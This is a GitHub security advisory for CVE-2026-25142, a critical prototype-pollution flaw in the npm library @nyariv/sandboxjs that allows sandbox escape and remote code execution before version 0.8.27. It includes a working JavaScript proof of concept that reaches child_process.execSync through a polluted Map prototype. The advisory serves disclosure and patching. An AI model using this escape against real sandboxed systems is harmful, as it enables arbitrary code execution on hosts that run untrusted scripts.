GitHub Advisoryadvisory · npm

GHSA-9p4w-fq8m-2hp7 SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE

CRITICAL Published 2026-02-02 Modified 2026-02-03 Official page ↗
Aliases
CVE-2026-25142
Ecosystem
npm
Packages
@nyariv/sandboxjs
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-1321, CWE-94
Reviewed
2026-02-02

Affected packages

• npm @nyariv/sandboxjs: < 0.8.27 → fixed in 0.8.27

Description

Summary SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. Details https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398 The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype. PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ``` Impact Prototype Pollution -> RCE

Related

Alias · CVE (1)

  • CVE-2026-25142 SandboxJS is a JavaScript sandboxing library. vulnerability

Weakness · CWE (2)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
  • CWE-94 Improper Control of Generation of Code weakness

References